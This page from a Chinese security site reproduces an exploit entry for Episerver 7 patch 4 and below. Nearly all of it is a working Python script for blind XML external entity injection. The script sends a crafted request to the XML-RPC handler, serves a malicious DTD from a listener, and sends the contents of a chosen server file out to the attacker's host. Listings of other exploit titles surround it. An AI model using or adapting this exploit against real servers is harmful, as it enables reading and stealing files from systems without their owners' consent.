首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Episerver 7 patch 4 - XML External Entity Injection
来源:vfocus.net 作者:Lejon 发布时间:2018-08-30  
# Exploit Title: Episerver 7 patch 4 - XML External Entity Injection
# Google Dork: N/A
# Date: 2018-08-28
# Exploit Author: Jonas Lejon
# Vendor Homepage: https://www.episerver.se/
# Version: Episerver 7 patch 4 and below
# CVE : N/A
 
## episploit.py - Blind XXE file read exploit for Episerver 7 patch 4 and below
## Starts a listening webserver, so the exploits needs a public IP and unfiltered port, configure RHOST below!
## Usage: ./episploit.py <target> [file-to-read]
 
#!/usr/bin/python
 
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import urllib
import re
import sys
import time
import threading
import socket
 
SERVER_SOCKET   = ('0.0.0.0', 8000)
EXFIL_FILE      = 'file:///c:/windows/win.ini'
 
# The public facing IP. Change this
RHOST           = '1.2.3.4:' + str(SERVER_SOCKET[1])
 
EXFILTRATED_EVENT = threading.Event()
 
class BlindXXEServer(BaseHTTPRequestHandler):
 
    def response(self, **data):
        code = data.get('code', 200)
        content_type = data.get('content_type', 'text/plain')
        body = data.get('body', '')
 
        self.send_response(code)
        self.send_header('Content-Type', content_type)
        self.end_headers()
        self.wfile.write(body.encode('utf-8'))
        self.wfile.close()
 
    def do_GET(self):
        self.request_handler(self)
 
    def do_POST(self):
        self.request_handler(self)
 
    def log_message(self, format, *args):
        return
 
    def request_handler(self, request):
        global EXFILTRATED_EVENT
 
        path = urllib.unquote(request.path).decode('utf8')
        m = re.search('\/\?exfil=(.*)', path, re.MULTILINE)
        if m and request.command.lower() == 'get':
            data = path[len('/?exfil='):]
            print 'Exfiltrated %s:' % EXFIL_FILE
            print '-' * 30
            print urllib.unquote(data).decode('utf8')
            print '-' * 30 + '\n'
            self.response(body='true')
 
            EXFILTRATED_EVENT.set()
 
        elif request.path.endswith('.dtd'):
            print 'Sending malicious DTD file.'
            dtd = '''<!ENTITY %% param_exfil SYSTEM "%(exfil_file)s">
<!ENTITY %% param_request "<!ENTITY exfil SYSTEM 'http://%(exfil_host)s/?exfil=%%param_exfil;'>">
%%param_request;''' % {'exfil_file' : EXFIL_FILE, 'exfil_host' : RHOST}
 
            self.response(content_type='text/xml', body=dtd)
 
        else:
            print '[INFO] %s %s' % (request.command, request.path)
            self.response(body='false')
 
def send_stage1(target):
    content = '''<?xml version="1.0"?><!DOCTYPE foo SYSTEM "http://''' + RHOST + '''/test.dtd"><foo>&exfil;</foo>'''
    payload = '''POST /util/xmlrpc/Handler.ashx?pageid=1023 HTTP/1.1
Host: ''' + target + '''
User-Agent: curl/7.54.0
Accept: */*
Content-Length: ''' + str(len(content)) + '''
Content-Type: application/x-www-form-urlencoded
Connection: close
 
''' + content
 
    print "Sending payload.."
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    port = 80
    s.connect((target,port))
    s.send(payload)
 
def main(target):
    server = HTTPServer(SERVER_SOCKET, BlindXXEServer)
    thread = threading.Thread(target=server.serve_forever)
    thread.daemon = True
    thread.start()
    send_stage1(target)
 
    while not EXFILTRATED_EVENT.is_set():
        pass
 
if __name__ == '__main__':
    if len(sys.argv) > 1:
        target = sys.argv[1]
    if len(sys.argv) > 2:
        EXFIL_FILE = sys.argv[2]
    main(target)
 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·ipPulse 1.92 - 'TCP Port' Deni
·Fathom 2.4 - Denial Of Service
·Argus Surveillance DVR 4.0.0.0
·Skype Empresarial Office 365 1
·WhatsApp 2.18.61 Memory Corrup
·Cisco AnyConnect Secure Mobili
·Argus Surveillance DVR 4.0.0.0
·HD Tune Pro 5.70 - Denial of S
·SIPP 3.3 Stack-Based Overflow
·Drive Power Manager 1.10 - Den
·R 3.4.4 Bufer Overflow
·Easy PhotoResQ 1.0 - Denial Of
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved